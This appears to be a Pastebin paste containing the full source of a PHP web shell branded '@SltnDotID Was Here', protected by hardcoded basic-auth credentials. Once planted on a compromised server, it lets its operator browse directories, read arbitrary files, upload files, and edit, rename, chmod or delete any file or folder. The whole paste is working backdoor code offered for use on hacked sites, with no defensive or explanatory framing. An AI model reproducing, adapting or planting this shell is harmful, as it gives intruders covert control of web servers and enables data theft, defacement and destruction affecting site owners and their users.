Advertisement
Guest User

sltn

a guest
Jun 4th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.51 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "t4mv4n";
  5.  
  6. $pass = "sltn";
  7.  
  8. if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10. {
  11.  
  12. header("WWW-Authenticate: Basic realm=\"./@SltnDotID Was Here\"");
  13.  
  14. header("HTTP/1.0 401 Unauthorized");
  15.  
  16. exit();
  17.  
  18. }
  19. // --- php shell
  20. set_time_limit(0);
  21. error_reporting(0);
  22.  
  23. if(get_magic_quotes_gpc()){
  24. foreach($_POST as $key=>$value){
  25. $_POST[$key] = stripslashes($value);
  26. }
  27. }
  28. echo '<!DOCTYPE HTML>
  29. <HTML>
  30. <HEAD>
  31. <link href="" rel="stylesheet" type="text/css">
  32. <title></title>
  33. <style>
  34. body{
  35. font-family: "Racing Sans One", cursive;
  36. background-color: white;
  37. text-shadow:0px 0px 1px #757575;
  38. }
  39. #content tr:hover{
  40. background-color: back;
  41. text-shadow:0px 0px 10px #fff;
  42. }
  43. #content .first{
  44. background-color: white;
  45. }
  46. #content .first:hover{
  47. background-color: black;
  48. text-shadow:0px 0px 1px #757575;
  49. }
  50. table{
  51. border: 1px #000000 dotted;
  52. }
  53. H1{
  54. font-family: "Rye", cursive;
  55. }
  56. a{
  57. color: black;
  58. text-decoration: none;
  59. }
  60. a:hover{
  61. color: black;
  62. text-shadow:0px 0px 10px #ffffff;
  63. }
  64. input,select,textarea{
  65. border: 1px white solid;
  66. -moz-border-radius: 5px;
  67. -webkit-border-radius:5px;
  68. border-radius:5px;
  69. }
  70. </style>
  71. </HEAD>
  72. <BODY>
  73. <H1><center>[!] @SltnDotID [!] </center></H1>
  74. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  75. <tr><td>Current Path : ';
  76. if(isset($_GET['path'])){
  77. $path = $_GET['path'];
  78. }else{
  79. $path = getcwd();
  80. }
  81. $path = str_replace('\\','/',$path);
  82. $paths = explode('/',$path);
  83.  
  84. foreach($paths as $id=>$pat){
  85. if($pat == '' && $id == 0){
  86. $a = true;
  87. echo '<a href="?path=/">/</a>';
  88. continue;
  89. }
  90. if($pat == '') continue;
  91. echo '<a href="?path=';
  92. for($i=0;$i<=$id;$i++){
  93. echo "$paths[$i]";
  94. if($i != $id) echo "/";
  95. }
  96. echo '">'.$pat.'</a>/';
  97. }
  98. echo '</td></tr><tr><td>';
  99. if(isset($_FILES['file'])){
  100. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  101. echo '<font color="black">Sucsses Ketamvanan Anda Sudah Max .</font><br />';
  102. }else{
  103. echo '<font color="black">Error Lu Kurang Tamvan.</font><br />';
  104. }
  105. }
  106. echo '<form enctype="multipart/form-data" method="POST">
  107. Upload File : <input type="file" name="file" />
  108. <input type="submit" value="Crotz" />
  109. </form>
  110. </td></tr>';
  111. if(isset($_GET['filesrc'])){
  112. echo "<tr><td>Current File : ";
  113. echo $_GET['filesrc'];
  114. echo '</tr></td></table><br />';
  115. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  116. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  117. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  118. if($_POST['opt'] == 'chmod'){
  119. if(isset($_POST['perm'])){
  120. if(chmod($_POST['path'],$_POST['perm'])){
  121. echo '<font color="black">Sucsses Ketamvanan Anda Sudah Max.</font><br />';
  122. }else{
  123. echo '<font color="black">Error Lu Kurang Tamvan.</font><br />';
  124. }
  125. }
  126. echo '<form method="POST">
  127. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  128. <input type="hidden" name="path" value="'.$_POST['path'].'">
  129. <input type="hidden" name="opt" value="chmod">
  130. <input type="submit" value="Go" />
  131. </form>';
  132. }elseif($_POST['opt'] == 'rename'){
  133. if(isset($_POST['newname'])){
  134. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  135. echo '<font color="black">Change Name Done.</font><br />';
  136. }else{
  137. echo '<font color="black">Error Lu Kurang Tamvan.</font><br />';
  138. }
  139. $_POST['name'] = $_POST['newname'];
  140. }
  141. echo '<form method="POST">
  142. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  143. <input type="hidden" name="path" value="'.$_POST['path'].'">
  144. <input type="hidden" name="opt" value="rename">
  145. <input type="submit" value="Go" />
  146. </form>';
  147. }elseif($_POST['opt'] == 'edit'){
  148. if(isset($_POST['src'])){
  149. $fp = fopen($_POST['path'],'w');
  150. if(fwrite($fp,$_POST['src'])){
  151. echo '<font color="black">Sucsses Ketamvanan Anda Sudah Max.</font><br />';
  152. }else{
  153. echo '<font color="black">Error Lu Kurang Tamvan.</font><br />';
  154. }
  155. fclose($fp);
  156. }
  157. echo '<form method="POST">
  158. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  159. <input type="hidden" name="path" value="'.$_POST['path'].'">
  160. <input type="hidden" name="opt" value="edit">
  161. <input type="submit" value="Go" />
  162. </form>';
  163. }
  164. echo '</center>';
  165. }else{
  166. echo '</table><br /><center>';
  167. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  168. if($_POST['type'] == 'dir'){
  169. if(rmdir($_POST['path'])){
  170. echo '<font color="black">Sucsses Ketamvanan Anda Sudah Max.</font><br />';
  171. }else{
  172. echo '<font color="black">Error Lu Kurang Tamvan.</font><br />';
  173. }
  174. }elseif($_POST['type'] == 'file'){
  175. if(unlink($_POST['path'])){
  176. echo '<font color="black">Sucsses Ketamvanan Anda Sudah Max.</font><br />';
  177. }else{
  178. echo '<font color="black">Error Lu Kurang Tamvan.</font><br />';
  179. }
  180. }
  181. }
  182. echo '</center>';
  183. $scandir = scandir($path);
  184. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  185. <tr class="first">
  186. <td><center>Name</center></td>
  187. <td><center>Size</center></td>
  188. <td><center>Permissions</center></td>
  189. <td><center>Options</center></td>
  190. </tr>';
  191.  
  192. foreach($scandir as $dir){
  193. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  194. echo "<tr>
  195. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  196. <td><center>--</center></td>
  197. <td><center>";
  198. if(is_writable("$path/$dir")) echo '<font color="black">';
  199. elseif(!is_readable("$path/$dir")) echo '<font color="white">';
  200. echo perms("$path/$dir");
  201. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  202.  
  203. echo "</center></td>
  204. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  205. <select name=\"opt\">
  206. <option value=\"\"></option>
  207. <option value=\"delete\">Delete</option>
  208. <option value=\"chmod\">Chmod</option>
  209. <option value=\"rename\">Rename</option>
  210. </select>
  211. <input type=\"hidden\" name=\"type\" value=\"dir\">
  212. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  213. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  214. <input type=\"submit\" value=\">\" />
  215. </form></center></td>
  216. </tr>";
  217. }
  218. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  219. foreach($scandir as $file){
  220. if(!is_file("$path/$file")) continue;
  221. $size = filesize("$path/$file")/1024;
  222. $size = round($size,3);
  223. if($size >= 1024){
  224. $size = round($size/1024,2).' MB';
  225. }else{
  226. $size = $size.' KB';
  227. }
  228.  
  229. echo "<tr>
  230. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  231. <td><center>".$size."</center></td>
  232. <td><center>";
  233. if(is_writable("$path/$file")) echo '<font color="black">';
  234. elseif(!is_readable("$path/$file")) echo '<font color="white">';
  235. echo perms("$path/$file");
  236. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  237. echo "</center></td>
  238. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  239. <select name=\"opt\">
  240. <option value=\"\"></option>
  241. <option value=\"delete\">Delete</option>
  242. <option value=\"chmod\">Chmod</option>
  243. <option value=\"rename\">Rename</option>
  244. <option value=\"edit\">Edit</option>
  245. </select>
  246. <input type=\"hidden\" name=\"type\" value=\"file\">
  247. <input type=\"hidden\" name=\"name\" value=\"$file\">
  248. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  249. <input type=\"submit\" value=\">\" />
  250. </form></center></td>
  251. </tr>";
  252. }
  253. echo '</table>
  254. </div>';
  255. }
  256. echo '<br /><center> <font color="black"></font>, <font color="black"></font></center>
  257. </BODY>
  258. </HTML>';
  259. function perms($file){
  260. $perms = fileperms($file);
  261.  
  262. if (($perms & 0xC000) == 0xC000) {
  263. // Socket
  264. $info = 's';
  265. } elseif (($perms & 0xA000) == 0xA000) {
  266. // Symbolic Link
  267. $info = 'l';
  268. } elseif (($perms & 0x8000) == 0x8000) {
  269. // Regular
  270. $info = '-';
  271. } elseif (($perms & 0x6000) == 0x6000) {
  272. // Block special
  273. $info = 'b';
  274. } elseif (($perms & 0x4000) == 0x4000) {
  275. // Directory
  276. $info = 'd';
  277. } elseif (($perms & 0x2000) == 0x2000) {
  278. // Character special
  279. $info = 'c';
  280. } elseif (($perms & 0x1000) == 0x1000) {
  281. // FIFO pipe
  282. $info = 'p';
  283. } else {
  284. // Unknown
  285. $info = 'u';
  286. }
  287.  
  288. // Owner
  289. $info .= (($perms & 0x0100) ? 'r' : '-');
  290. $info .= (($perms & 0x0080) ? 'w' : '-');
  291. $info .= (($perms & 0x0040) ?
  292. (($perms & 0x0800) ? 's' : 'x' ) :
  293. (($perms & 0x0800) ? 'S' : '-'));
  294.  
  295. // Group
  296. $info .= (($perms & 0x0020) ? 'r' : '-');
  297. $info .= (($perms & 0x0010) ? 'w' : '-');
  298. $info .= (($perms & 0x0008) ?
  299. (($perms & 0x0400) ? 's' : 'x' ) :
  300. (($perms & 0x0400) ? 'S' : '-'));
  301.  
  302. // World
  303. $info .= (($perms & 0x0004) ? 'r' : '-');
  304. $info .= (($perms & 0x0002) ? 'w' : '-');
  305. $info .= (($perms & 0x0001) ?
  306. (($perms & 0x0200) ? 't' : 'x' ) :
  307. (($perms & 0x0200) ? 'T' : '-'));
  308.  
  309. return $info;
  310. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement